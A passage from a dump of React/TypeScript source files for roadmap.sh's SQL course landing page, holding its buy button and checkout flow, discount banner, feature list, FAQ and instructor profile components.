hover:border-yellow-400/40 hover:from-yellow-500/25 hover:to-orange-500/25\"\n          >\n            <GitHubIcon className=\"size-3 text-yellow-400\" />\n            <span className=\"text-xs font-medium text-yellow-200\">\n              #2 Most Starred Developer\n            </span>\n          </a>\n\n          <Popover>\n            <PopoverTrigger asChild>\n              <div className=\"inline-flex cursor-pointer items-center gap-1 rounded-md bg-gradient-to-r from-yellow-500/15 to-orange-500/15 px-2 py-1.5 backdrop-blur-sm transition-all duration-200 hover:border-yellow-400/40 hover:from-yellow-500/25 hover:to-orange-500/25\">\n                <AwardIcon className=\"size-3 text-yellow-400\" />\n                <span className=\"text-xs font-medium text-yellow-200\">\n                  Founder roadmap.sh\n                </span>\n                <InfoIcon className=\"ml-auto size-3 text-yellow-400/70 hover:text-yellow-300\" />\n              </div>\n            </PopoverTrigger>\n            <PopoverContent\n              className=\"border-zinc-700 bg-zinc-900 px-2.5 text-sm text-zinc-200\"\n              side=\"top\"\n              align=\"start\"\n            >\n              <a\n                href=\"/\"\n                className=\"text-blue-400 underline hover:text-blue-500 focus:text-blue-500\"\n              >\n                roadmap.sh\n              </a>{' '}\n              provides community-curated roadmaps, study plans, paths, and\n              resources for developers and IT professionals. Serving 2M+\n              registered users, it is the 6th most-starred open source project\n              on GitHub\n            </PopoverContent>\n          </Popover>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/BuyButton.tsx",
    "content": "import { useMutation, useQuery } from '@tanstack/react-query';\nimport {\n  ArrowRightIcon, MousePointerClick,\n  Play\n} from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { cn } from '../../lib/classname';\nimport {\n  COURSE_PURCHASE_PARAM,\n  COURSE_PURCHASE_SUCCESS_PARAM,\n  isLoggedIn,\n} from '../../lib/jwt';\nimport { coursePriceOptions } from '../../queries/billing';\nimport { courseProgressOptions } from '../../queries/course-progress';\nimport { queryClient } from '../../stores/query-client';\nimport {\n  CourseLoginPopup,\n  SAMPLE_AFTER_LOGIN_KEY,\n} from '../AuthenticationFlow/CourseLoginPopup';\nimport { useToast } from '../../hooks/use-toast';\nimport { httpPost } from '../../lib/query-http';\nimport { deleteUrlParam, getUrlParams } from '../../lib/browser';\nimport { VideoModal } from '../VideoModal';\nimport { useCopyText } from '../../hooks/use-copy-text';\n\nexport const SQL_COURSE_SLUG = 'sql';\n\ntype CreateCheckoutSessionBody = {\n  courseId: string;\n  success?: string;\n  cancel?: string;\n};\n\ntype CreateCheckoutSessionResponse = {\n  checkoutUrl: string;\n};\n\ntype BuyButtonProps = {\n  variant?: 'main' | 'floating' | 'top-nav';\n  floatingClassName?: string;\n};\n\nexport function BuyButton(props: BuyButtonProps) {\n  const { variant = 'main', floatingClassName } = props;\n\n  const [isFakeLoading, setIsFakeLoading] = useState(true);\n  const [isLoginPopupOpen, setIsLoginPopupOpen] = useState(false);\n  const [isVideoModalOpen, setIsVideoModalOpen] = useState(false);\n  const toast = useToast();\n\n  const { copyText, isCopied } = useCopyText();\n\n  const { data: coursePricing, isLoading: isLoadingPrice } = useQuery(\n    coursePriceOptions({ courseSlug: SQL_COURSE_SLUG }),\n    queryClient,\n  );\n\n  const { data: courseProgress, isLoading: isLoadingCourseProgress } = useQuery(\n    courseProgressOptions(SQL_COURSE_SLUG),\n    queryClient,\n  );\n\n  const {\n    mutate: createCheckoutSession,\n    isPending: isCreatingCheckoutSession,\n    isSuccess: isCheckoutSessionCreated,\n  } = useMutation(\n    {\n      mutationFn: (body: CreateCheckoutSessionBody) => {\n        return httpPost<CreateCheckoutSessionResponse>(\n          '/v1-create-checkout-session',\n          body,\n        );\n      },\n      onMutate: () => {\n        toast.loading('Creating checkout session...');\n      },\n      onSuccess: (data) => {\n        if (!window.gtag) {\n          window.location.href = data.checkoutUrl;\n          return;\n        }\n\n        window?.fireEvent({\n          action: `${SQL_COURSE_SLUG}_begin_checkout`,\n          category: 'course',\n          label: `${SQL_COURSE_SLUG} Course Checkout Started`,\n          callback: () => {\n            window.location.href = data.checkoutUrl;\n          },\n        });\n\n        // Hacky way to make sure that we redirect in case\n        // GA was blocked or not able to redirect the user.\n        setTimeout(() => {\n          window.location.href = data.checkoutUrl;\n        }, 3000);\n      },\n      onError: (error) => {\n        console.error(error);\n        toast.error(error?.message || 'Failed to create checkout session');\n      },\n    },\n    queryClient,\n  );\n\n  useEffect(() => {\n    const urlParams = getUrlParams();\n    const shouldTriggerPurchase = urlParams[COURSE_PURCHASE_PARAM] === '1';\n    const shouldTriggerSample =\n      localStorage.getItem(SAMPLE_AFTER_LOGIN_KEY) === '1';\n\n    if (shouldTriggerSample) {\n      localStorage.removeItem(SAMPLE_AFTER_LOGIN_KEY);\n      window.location.href = `${import.meta.env.PUBLIC_COURSE_APP_URL}/${SQL_COURSE_SLUG}`;\n    } else if (shouldTriggerPurchase) {\n      deleteUrlParam(COURSE_PURCHASE_PARAM);\n      initPurchase();\n    }\n  }, []);\n\n  useEffect(() => {\n    const urlParams = getUrlParams();\n    const param = urlParams?.[COURSE_PURCHASE_SUCCESS_PARAM];\n    if (!param) {\n      return;\n    }\n\n    const success = param === '1';\n\n    if (success) {\n      window?.fireEvent({\n        action: `${SQL_COURSE_SLUG}_purchase_complete`,\n        category: 'course',\n        label: `${SQL_COURSE_SLUG} Course Purchase Completed`,\n      });\n    } else {\n      window?.fireEvent({\n        action: `${SQL_COURSE_SLUG}_purchase_canceled`,\n        category: 'course',\n        label: `${SQL_COURSE_SLUG} Course Purchase Canceled`,\n      });\n    }\n\n    deleteUrlParam(COURSE_PURCHASE_SUCCESS_PARAM);\n  }, []);\n\n  useEffect(() => {\n    const timer = setTimeout(() => {\n      setIsFakeLoading(false);\n    }, 500);\n\n    return () => clearTimeout(timer);\n  }, []);\n\n  const isLoadingPricing =\n    isFakeLoading ||\n    isCheckoutSessionCreated ||\n    isLoadingPrice ||\n    !coursePricing ||\n    isLoadingCourseProgress ||\n    isCreatingCheckoutSession;\n  const isAlreadyEnrolled = !!courseProgress?.enrolledAt;\n\n  function initPurchase() {\n    if (!isLoggedIn()) {\n      setIsLoginPopupOpen(true);\n      return;\n    }\n\n    const encodedCourseSlug = encodeURIComponent(`/courses/${SQL_COURSE_SLUG}`);\n    const successUrl = `/thank-you?next=${encodedCourseSlug}`;\n\n    createCheckoutSession({\n      courseId: SQL_COURSE_SLUG,\n      success: successUrl,\n      cancel: `/courses/${SQL_COURSE_SLUG}?${COURSE_PURCHASE_SUCCESS_PARAM}=0`,\n    });\n  }\n\n  function onBuyClick() {\n    if (!isLoggedIn()) {\n      setIsLoginPopupOpen(true);\n      return;\n    }\n\n    const hasEnrolled = !!courseProgress?.enrolledAt;\n    if (hasEnrolled) {\n      window.location.href = `${import.meta.env.PUBLIC_COURSE_APP_URL}/${SQL_COURSE_SLUG}`;\n      return;\n    }\n\n    initPurchase();\n  }\n\n  function onReadSampleClick() {\n    if (!isLoggedIn()) {\n      localStorage.setItem(SAMPLE_AFTER_LOGIN_KEY, '1');\n      setIsLoginPopupOpen(true);\n      return;\n    }\n\n    window?.fireEvent({\n      action: `${SQL_COURSE_SLUG}_demo_started`,\n      category: 'course',\n      label: `${SQL_COURSE_SLUG} Course Demo Started`,\n    });\n\n    setTimeout(() => {\n      window.location.href = `${import.meta.env.PUBLIC_COURSE_APP_URL}/${SQL_COURSE_SLUG}`;\n    }, 200);\n  }\n\n  const courseLoginPopup = isLoginPopupOpen && (\n    <CourseLoginPopup onClose={() => setIsLoginPopupOpen(false)} />\n  );\n\n  if (variant === 'main') {\n    return (\n      <>\n        {courseLoginPopup}\n\n        <div className=\"relative flex w-full flex-col items-center gap-2 md:w-auto\">\n          {isVideoModalOpen && (\n            <VideoModal\n              videoId=\"6S1CcF-ngeQ\"\n              onClose={() => setIsVideoModalOpen(false)}\n            />\n          )}\n          <div className=\"relative flex flex-col gap-2 md:flex-row md:gap-0\">\n            <button\n              onClick={onBuyClick}\n              disabled={isLoadingPricing}\n              className={cn(\n                'group relative mr-2 inline-flex w-full min-w-[235px] items-center justify-center overflow-hidden rounded-xl bg-linear-to-r from-yellow-500 to-yellow-300 px-8 py-3 text-base font-semibold text-black transition-all duration-300 ease-out hover:scale-[1.02] hover:shadow-[0_0_30px_rgba(234,179,8,0.4)] focus:outline-hidden active:ring-0 md:w-auto md:rounded-full md:text-lg',\n                (isLoadingPricing || isCreatingCheckoutSession) &&\n                  'striped-loader-yellow pointer-events-none mr-4 scale-105 bg-yellow-500',\n              )}\n            >\n              {isLoadingPricing ? (\n                <span className=\"relative flex items-center gap-2\">&nbsp;</span>\n              ) : isAlreadyEnrolled ? (\n                <span className=\"relative flex items-center gap-2\">\n                  Start Learning\n                </span>\n              ) : (\n                <span className=\"relative flex items-center gap-2\">\n                  Buy now for{' '}\n                  {coursePricing?.isEligibleForDiscount ? (\n                    <span className=\"flex items-center gap-2\">\n                      <span className=\"hidden text-base line-through opacity-75 md:inline\">\n                        ${coursePricing?.fullPrice}\n                      </span>\n                      <span className=\"text-base md:text-xl\">\n                        ${coursePricing?.regionalPrice}\n                      </span>\n                    </span>\n                  ) : (\n                    <span>${coursePricing?.regionalPrice}</span>\n                  )}\n                  <ArrowRightIcon className=\"h-5 w-5 transition-transform duration-300 ease-out group-hover:translate-x-1\" />\n                </span>\n              )}\n            </button>\n            <button\n              onClick={onReadSampleClick}\n              data-demo-button\n              className={cn(\n                'group relative hidden items-center justify-center overflow-hidden rounded-xl border border-yellow-500/30 bg-transparent px-6 py-3 text-base font-medium text-yellow-500 transition-all duration-300 ease-out hover:bg-yellow-500/10 focus:outline-hidden active:ring-0 md:rounded-full',\n                {\n                  'hidden lg:inline-flex':\n                    !isLoadingPricing && !isAlreadyEnrolled,\n                },\n              )}\n            >\n              <span className=\"relative flex items-center gap-2\">\n                <MousePointerClick className=\"h-5 w-5\" />\n                Access Demo\n              </span>\n            </button>\n          </div>\n\n          {!isLoadingPricing && (\n            <span className=\"absolute top-full z-50 flex w-max translate-y-4 flex-row items-center justify-center text-sm text-yellow-400\">\n              Lifetime access <span className=\"mx-2\">&middot;</span>{' '}\n              <button\n                onClick={() => setIsVideoModalOpen(true)}\n                className=\"flex cursor-pointer flex-row items-center gap-1.5 underline underline-offset-4 hover:text-yellow-500\"\n              >\n                <Play className=\"size-3 fill-current\" /> Watch Video (3 min)\n              </button>\n            </span>\n          )}\n        </div>\n      </>\n    );\n  }\n\n  if (variant === 'top-nav') {\n    return (\n      <button\n        onClick={onBuyClick}\n        disabled={isLoadingPricing}\n        className={`animate-fade-in rounded-full px-5 py-2 text-base font-medium text-yellow-700 transition-colors hover:text-yellow-500`}\n      >\n        Purchase Course\n      </button>\n    );\n  }\n\n  return (\n    <>\n      {courseLoginPopup}\n      <div\n        className={cn(\n          'relative flex flex-col items-center gap-2',\n          floatingClassName,\n        )}\n      >\n        <button\n          onClick={onBuyClick}\n          disabled={isLoadingPricing}\n          className={cn(\n            'group relative inline-flex min-w-[220px] items-center justify-center overflow-hidden rounded-full bg-[rgb(168,85,247)] px-8 py-3 font-medium text-white transition-all duration-300 ease-out hover:scale-[1.02] hover:shadow-[0_0_30px_rgba(168,85,247,0.4)] focus:outline-hidden',\n            (isLoadingPricing || isCreatingCheckoutSession) &&\n              'striped-loader pointer-events-none bg-[rgb(168,85,247)]',\n          )}\n        >\n          {isLoadingPricing ? (\n            <span className=\"relative flex items-center gap-2\">&nbsp;</span>\n          ) : isAlreadyEnrolled ? (\n            <span className=\"relative flex items-center gap-2\">\n              Start Learning\n            </span>\n          ) : (\n            <span className=\"relative flex items-center gap-2\">\n              <span className=\"hidden md:inline\">Start learning now</span>\n              <span className=\"inline md:hidden\">Start now</span>- $\n              {coursePricing?.regionalPrice}\n              <ArrowRightIcon className=\"h-5 w-5 transition-transform duration-300 ease-out group-hover:translate-x-1\" />\n            </span>\n          )}\n        </button>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/ChapterRow.tsx",
    "content": "import { ChevronDown, BookIcon, CodeIcon, CircleDot } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { useState } from 'react';\n\ntype ChapterRowProps = {\n  counter: number;\n  icon: React.ReactNode;\n  title: string;\n  description: string;\n  lessonCount: number;\n  challengeCount: number;\n  isExpandable?: boolean;\n  className?: string;\n  lessons?: { title: string; type: 'lesson' | 'challenge' | 'quiz' }[];\n};\n\nexport function ChapterRow(props: ChapterRowProps) {\n  const {\n    counter,\n    icon,\n    title,\n    description,\n    lessonCount,\n    challengeCount,\n    isExpandable = true,\n    className,\n    lessons = [],\n  } = props;\n\n  const [isExpanded, setIsExpanded] = useState(false);\n\n  const regularLessons = lessons.filter((l) => l.type === 'lesson');\n  const challenges = lessons.filter((l) =>\n    ['challenge', 'quiz'].includes(l.type),\n  );\n\n  return (\n    <div\n      className={cn('group relative overflow-hidden select-none', className)}\n    >\n      <div\n        role=\"button\"\n        onClick={() => isExpandable && setIsExpanded(!isExpanded)}\n        className={cn(\n          'relative rounded-xl border border-zinc-800 bg-zinc-800 p-6',\n          'bg-linear-to-br from-zinc-900/90 via-zinc-900/70 to-zinc-900/50',\n          !isExpanded &&\n            'hover:bg-linear-to-br hover:from-zinc-900/95 hover:via-zinc-900/80 hover:to-zinc-900/60',\n          !isExpanded &&\n            'hover:cursor-pointer hover:shadow-[0_0_30px_rgba(0,0,0,0.2)]',\n          isExpanded && 'cursor-pointer rounded-b-none border-b-0',\n        )}\n      >\n        <div className=\"flex items-start gap-4\">\n          <div className=\"hidden shrink-0 md:block\">\n            <div className=\"rounded-full bg-yellow-500/10 p-3\">{icon}</div>\n          </div>\n\n          <div className=\"grow\">\n            <h3 className=\"text-xl font-semibold tracking-wide text-white\">\n              <span className=\"inline text-gray-500 md:hidden\">\n                {counter}.{' '}\n              </span>\n              {title}\n            </h3>\n            <p className=\"mt-2 text-zinc-400\">{description}</p>\n\n            <div className=\"mt-4 flex items-center gap-4\">\n              <div className=\"flex items-center gap-2 text-sm text-zinc-500\">\n                <span>{lessonCount} Lessons</span>\n              </div>\n              <div className=\"flex items-center gap-2 text-sm text-zinc-500\">\n                <span>{challengeCount} Challenges</span>\n              </div>\n            </div>\n          </div>\n\n          {isExpandable && (\n            <div className=\"shrink-0 rounded-full bg-zinc-800/80 p-2 text-zinc-400 group-hover:bg-zinc-800 group-hover:text-zinc-500\">\n              <ChevronDown\n                className={cn(\n                  'h-4 w-4 transition-transform',\n                  isExpanded ? 'rotate-180' : '',\n                )}\n              />\n            </div>\n          )}\n        </div>\n      </div>\n\n      {isExpanded && (\n        <div className=\"rounded-b-xl border border-t-0 border-zinc-800 bg-linear-to-br from-zinc-900/50 via-zinc-900/30 to-zinc-900/20\">\n          <div className=\"grid grid-cols-1 divide-zinc-800 md:grid-cols-2 md:divide-x\">\n            {regularLessons.length > 0 && (\n              <div className=\"p-6 pb-0 md:pb-6\">\n                <h4 className=\"mb-4 text-sm font-medium tracking-wider text-zinc-500 uppercase\">\n                  Lessons\n                </h4>\n                <div className=\"space-y-3\">\n                  {regularLessons.map((lesson, index) => (\n                    <div\n                      key={index}\n                      className=\"flex items-center gap-3 text-zinc-400 cursor-text\"\n                    >\n                      <BookIcon className=\"h-4 w-4\" />\n                      <span>{lesson.title}</span>\n                    </div>\n                  ))}\n                </div>\n              </div>\n            )}\n\n            {challenges.length > 0 && (\n              <div className=\"p-6\">\n                <h4 className=\"mb-4 text-sm font-medium tracking-wider text-zinc-500 uppercase\">\n                  Exercises\n                </h4>\n                <div className=\"space-y-3\">\n                  {challenges.map((challenge, index) => (\n                    <div\n                      key={index}\n                      className=\"flex items-center gap-3 text-zinc-400 cursor-text\"\n                    >\n                      {challenge.type === 'challenge' ? (\n                        <CodeIcon className=\"h-4 w-4\" />\n                      ) : (\n                        <CircleDot className=\"h-4 w-4\" />\n                      )}\n                      <span>{challenge.title}</span>\n                    </div>\n                  ))}\n                </div>\n              </div>\n            )}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/CourseDiscountBanner.tsx",
    "content": "import { CheckIcon, CopyIcon, XIcon } from 'lucide-react';\nimport { useState, useEffect } from 'react';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { cn } from '../../lib/classname';\nimport { SQL_COURSE_SLUG } from './BuyButton';\nimport { queryClient } from '../../stores/query-client';\nimport { courseProgressOptions } from '../../queries/course-progress';\nimport { useQuery } from '@tanstack/react-query';\nimport { useClientMount } from '../../hooks/use-client-mount';\n\nexport const sqlCouponCode = 'SQL30';\n\nexport function CourseDiscountBanner() {\n  const { copyText, isCopied } = useCopyText();\n  const [isVisible, setIsVisible] = useState(false);\n  const isClientMounted = useClientMount();\n\n  useEffect(() => {\n    const timer = setTimeout(() => setIsVisible(true), 5000);\n    return () => clearTimeout(timer);\n  }, []);\n\n  const { data: courseProgress, isLoading: isLoadingCourseProgress } = useQuery(\n    courseProgressOptions(SQL_COURSE_SLUG),\n    queryClient,\n  );\n\n  const isAlreadyEnrolled = !!courseProgress?.enrolledAt;\n  if (!isClientMounted || isLoadingCourseProgress || isAlreadyEnrolled) {\n    return null;\n  }\n\n  return (\n    <div\n      data-coupon-alert\n      className={cn(\n        'sticky top-0 z-[999] flex w-full items-center justify-center overflow-hidden bg-yellow-500 text-center text-sm font-medium transition-[height] duration-300',\n        isVisible ? 'h-[34px] sm:h-[35px]' : 'h-0',\n      )}\n    >\n      <span className=\"mr-1 hidden font-bold sm:block\">\n        🎁 Limited time offer :\n      </span>\n      Get 30% off using{' '}\n      <button\n        onClick={() => {\n          copyText(sqlCouponCode);\n        }}\n        className={cn(\n          'animate-wiggle ml-1 inline-block cursor-pointer rounded-md border border-dashed border-black bg-gray-900 px-1.5 py-[3px] text-xs text-white [animation-delay:0.25s]',\n          isCopied && 'bg-gray-900 text-white',\n        )}\n      >\n        <span className=\"mr-1\">Coupon code :</span>\n        {sqlCouponCode}\n        {isCopied && (\n          <CheckIcon\n            className=\"relative -top-[2px] ml-1.5 inline-block size-3\"\n            strokeWidth={2.5}\n          />\n        )}\n        {!isCopied && (\n          <CopyIcon\n            className=\"relative -top-[2px] ml-1.5 inline-block size-3\"\n            strokeWidth={2.5}\n          />\n        )}\n      </button>\n      <button\n        onClick={() => {\n          setIsVisible(false);\n        }}\n        className=\"absolute top-1/2 right-4 hidden -translate-y-1/2 rounded-md px-1.5 py-1.5 hover:bg-yellow-600 hover:text-black sm:block\"\n      >\n        <XIcon className=\"size-4\" />\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/CourseFeatures.tsx",
    "content": "import {\n  BookIcon,\n  BrainIcon,\n  ClipboardIcon,\n  CodeIcon,\n  FileCheckIcon,\n  FileQuestionIcon,\n  MinusIcon,\n  PlusIcon,\n} from 'lucide-react';\nimport { SectionHeader } from './SectionHeader';\nimport { useState } from 'react';\nimport { cn } from '../../lib/classname';\n\ntype Feature = {\n  title: string;\n  description: string;\n  icon: React.ElementType;\n  imgUrl: string;\n};\n\nexport function CourseFeatures() {\n  const features: Feature[] = [\n    {\n      title: 'AI Tutor',\n      description:\n        'Powerful AI tutor to help you with your queries, provide additional explanations and help if you get stuck.',\n      icon: BrainIcon,\n      imgUrl: 'https://assets.roadmap.sh/guest/ai-integration.png',\n    },\n    {\n      title: 'Real-world Challenges',\n      description:\n        'The course is packed with practical challenges and quizzes, allowing you to test your knowledge and skills.',\n      icon: FileQuestionIcon,\n      imgUrl: 'https://assets.roadmap.sh/guest/coding-challenges.png',\n    },\n    {\n      title: 'Coding Environment',\n      description:\n        'With the integrated IDE, you can practice your SQL queries in real-time, getting instant feedback on your results.',\n      icon: CodeIcon,\n      imgUrl: 'https://assets.roadmap.sh/guest/coding-environment.png',\n    },\n    {\n      title: 'Textual Course',\n      description:\n        'Unlike video-based courses where you have to learn at the pace of the instructor, this course is text-based, allowing you to learn at your own pace.',\n      icon: BookIcon,\n      imgUrl: 'https://assets.roadmap.sh/guest/textual-course.png',\n    },\n    {\n      title: 'Take Notes',\n      description:\n        'The course allows you to take notes, where you can write down your thoughts and ideas. You can visit them later to review your progress.',\n      icon: ClipboardIcon,\n      imgUrl: 'https://assets.roadmap.sh/guest/course-notes.png',\n    },\n    {\n      title: 'Completion Certificate',\n      description:\n        'The course provides a completion certificate, which you can share with your potential employers.',\n      icon: FileCheckIcon,\n      imgUrl: 'https://assets.roadmap.sh/guest/course-certificate.jpg',\n    },\n  ];\n\n  const [expandedFeatureIndex, setExpandedFeatureIndex] = useState<\n    number | null\n  >(0);\n\n  return (\n    <div>\n      <SectionHeader\n        title=\"Not your average SQL course\"\n        description=\"Built around a text-based interactive approach and packed with practical challenges, this comprehensive SQL bootcamp stands out with features that make it truly unique.\"\n      />\n\n      <div className=\"mx-auto mt-10 w-full max-w-2xl divide-y divide-zinc-800 overflow-hidden rounded-xl border border-zinc-800\">\n        {features.map((feature, index) => (\n          <CourseFeature\n            key={feature.title}\n            {...feature}\n            isExpanded={expandedFeatureIndex === index}\n            onExpand={() =>\n              setExpandedFeatureIndex(\n                expandedFeatureIndex === index ? null : index,\n              )\n            }\n          />\n        ))}\n      </div>\n    </div>\n  );\n}\n\ntype CourseFeatureProps = Feature & {\n  isExpanded?: boolean;\n  onExpand?: () => void;\n};\n\nfunction CourseFeature(props: CourseFeatureProps) {\n  const {\n    title,\n    description,\n    icon: Icon,\n    imgUrl,\n    isExpanded,\n    onExpand,\n  } = props;\n\n  return (\n    <div>\n      <button\n        className={cn(\n          'flex w-full items-center justify-between gap-2 px-5 py-3 hover:bg-transparent',\n          !isExpanded && 'bg-zinc-900',\n        )}\n        onClick={onExpand}\n      >\n        <div className=\"flex items-center gap-2\">\n          <Icon className=\"h-5 w-5 shrink-0 text-yellow-600\" />\n          <h3 className={cn('text-lg', isExpanded && 'text-zinc-200')}>\n            {title}\n          </h3>\n        </div>\n\n        <div className=\"text-zinc-400 hover:text-zinc-300\">\n          {isExpanded ? (\n            <MinusIcon className=\"h-5 w-5\" />\n          ) : (\n            <PlusIcon className=\"h-5 w-5\" />\n          )}\n        </div>\n      </button>\n\n      {isExpanded && (\n        <div className=\"grid gap-4 px-5 py-3 sm:grid-cols-2\">\n          <p className=\"text-lg text-balance text-white\">{description}</p>\n          <img\n            src={imgUrl}\n            alt={title}\n            className=\"h-full w-full rounded-lg sm:order-2\"\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/FAQSection.tsx",
    "content": "import { ChevronDownIcon } from 'lucide-react';\nimport { useState } from 'react';\nimport { SectionHeader } from './SectionHeader';\n\ntype FAQItem = {\n  question: string;\n  answer: string;\n};\n\nfunction FAQRow({ question, answer }: FAQItem) {\n  const [isExpanded, setIsExpanded] = useState(false);\n\n  return (\n    <div className=\"rounded-lg border border-zinc-800 bg-zinc-900\">\n      <button\n        onClick={() => setIsExpanded(!isExpanded)}\n        className=\"flex w-full items-center justify-between gap-2 p-4 text-left md:p-6\"\n      >\n        <h3 className=\"text-lg font-normal text-balance text-white md:text-xl\">\n          {question}\n        </h3>\n        <ChevronDownIcon\n          className={`h-5 w-5 text-zinc-400 transition-transform duration-200 ${\n            isExpanded ? 'rotate-180' : ''\n          }`}\n        />\n      </button>\n      {isExpanded && (\n        <div className=\"border-t border-zinc-800 p-6 pt-4 text-base leading-relaxed md:text-lg\">\n          <p>{answer}</p>\n        </div>\n      )}\n    </div>\n  );\n}\n\nexport function FAQSection() {\n  const faqs: FAQItem[] = [\n    {\n      question: 'What is the format of the course?',\n      answer:\n        'The course is written in textual format. There are several chapters; each chapter has a set of lessons, followed by a set of practice problems and quizzes. You can learn at your own pace and revisit the content anytime.',\n    },\n    {\n      question: 'What prerequisites do I need for this course?',\n      answer:\n        'No prior SQL knowledge is required. The course starts from the basics and gradually progresses to advanced topics.',\n    },\n    {\n      question: 'Do I need to have a local database to follow the course?',\n      answer:\n        'No, we have an integrated coding playground, populated with a sample databases depending on the lesson, that you can use to follow the course. You can also use your own database if you have one.',\n    },\n    {\n      question: 'How long do I have access to the course?',\n      answer:\n        'You get lifetime access to the course including all future updates. Once you purchase, you can learn at your own pace and revisit the content anytime.',\n    },\n    {\n      question: 'What kind of support is available?',\n      answer:\n        'You get access to an AI tutor within the course that can help you with queries 24/7. Additionally, you can use the community forums to discuss problems and get help from other learners.',\n    },\n    {\n      question: 'Will I get a certificate upon completion?',\n      answer:\n        \"Yes, upon completing the course and its challenges, you'll receive a certificate of completion that you can share with employers or add to your LinkedIn profile.\",\n    },\n    {\n      question: 'Can I use this for job interviews?',\n      answer:\n        'Absolutely! The course covers common SQL interview topics and includes practical challenges similar to what you might face in technical interviews. The hands-on experience will prepare you well for real-world scenarios.',\n    },\n    {\n      question: \"What if I don't like the course?\",\n      answer:\n        \"You can request a refund within 30 days of purchase by emailing info@roadmap.sh. The refund amount will be prorated based on when you request it. For example, if you request a refund 15 days after purchase, you'll receive 50% back. I'd also love to hear your feedback to improve the course.\",\n    },\n    {\n      question: 'I already know SQL, can I still take this course?',\n      answer:\n        'Yes! The course starts from the basics and gradually progresses to advanced topics. You can skip the chapters that you already know and focus on the ones that you need.',\n    },\n    {\n      question: 'Do you offer any team licenses?',\n      answer: 'Yes, please contact me at kamran@roadmap.sh',\n    },\n    {\n      question: 'How can I gift this course to someone?',\n      answer:\n        'Please contact me at kamran@roadmap.sh and I will be happy to help you.',\n    },\n    {\n      question: 'What if I have a question that is not answered here?',\n      answer:\n        'Please contact me at kamran@roadmap.sh and I will be happy to help you.',\n    },\n  ];\n\n  return (\n    <>\n      <SectionHeader\n        title=\"Frequently Asked Questions\"\n        description={null}\n        className=\"mt-10 md:mt-24\"\n      />\n\n      <div className=\"mx-auto mt-6 w-full max-w-3xl space-y-2 md:mt-8 md:space-y-6\">\n        {faqs.map((faq, index) => (\n          <FAQRow key={index} {...faq} />\n        ))}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/MeetYourInstructor.tsx",
    "content": "import { AwardIcon, TrophyIcon } from 'lucide-react';\nimport { GitHubIcon } from '../ReactIcons/GitHubIcon';\n\nexport function MeetYourInstructor() {\n  const features = [\n    {\n      icon: TrophyIcon,\n      text: 'Multiple GitHub Star Awards'\n    },\n    {\n      icon: GitHubIcon,\n      text: '#2 Most Starred Developer'\n    },\n    {\n      icon: AwardIcon,\n      text: 'Google Developer Expert'\n    },\n    {\n      icon: AwardIcon,\n      text: '2M+ roadmap.sh users'\n    }\n  ];\n\n  return (\n    <div className=\"mx-auto mt-14 max-w-4xl\">\n      <div className=\"rounded-3xl bg-gradient-to-br from-yellow-500/20 via-yellow-500/10 to-transparent p-8 md:p-12\">\n        <h4 className=\"mb-2 text-center text-xl font-medium text-zinc-200 md:text-2xl\">\n          Meet your instructor\n        </h4>\n        <div className=\"mb-12 text-center text-3xl font-bold text-yellow-400 md:text-4xl\">\n          Kamran Ahmed\n        </div>\n\n        <div className=\"flex flex-col gap-12 lg:flex-row lg:gap-16\">\n          <div className=\"flex shrink-0 flex-col items-center\">\n            <div className=\"relative\">\n              <img\n                src=\"https://github.com/kamranahmedse.png\"\n                alt=\"Kamran Ahmed\"\n                className=\"h-40 w-40 rounded-full object-cover ring-4 ring-yellow-500/40 transition-all duration-300 hover:ring-yellow-500/60\"\n              />\n            </div>\n            <h5 className=\"mt-6 text-xl font-semibold text-zinc-100\">\n              Kamran Ahmed\n            </h5>\n            <span className=\"text-yellow-400\">Founder of roadmap.sh</span>\n          </div>\n\n          <div className=\"flex-1 space-y-8\">\n            <div className=\"space-y-4\">\n              <div className=\"grid grid-cols-1 gap-3 sm:grid-cols-2\">\n                {features.map((feature, index) => {\n                  const IconComponent = feature.icon;\n                  return (\n                    <div\n                      key={index}\n                      className=\"flex items-center gap-3 rounded-lg border border-yellow-500/20 bg-gradient-to-r from-yellow-500/10 to-yellow-500/5 p-3\"\n                    >\n                      <IconComponent className=\"size-4 shrink-0 text-yellow-400\" />\n                      <span className=\"text-sm font-medium text-zinc-300\">\n                        {feature.text}\n                      </span>\n                    </div>\n                  );\n                })}\n              </div>\n            </div>\n\n            <div className=\"space-y-6\">\n              <div className=\"prose prose-zinc max-w-none\">\n                <p className=\"m-0 text-xl leading-relaxed text-zinc-300\">\n                  Kamran is the creator of roadmap.sh (2M+ registered users!)\n                  and an engineering leader with over a decade of experience in\n                  the tech industry. Throughout his career he's built and scaled\n                  software systems, designed complex data systems, and worked\n                  with large amounts of data to create efficient solutions.\n                </p>\n\n                <p className=\"m-0 text-xl leading-relaxed text-zinc-300\">\n                  This hands-on, AI-assisted course is his distilled blueprint\n                  on how to master SQL queries, from beginner to advanced.\n                </p>\n              </div>\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourseVariant/PlatformDemo.tsx",
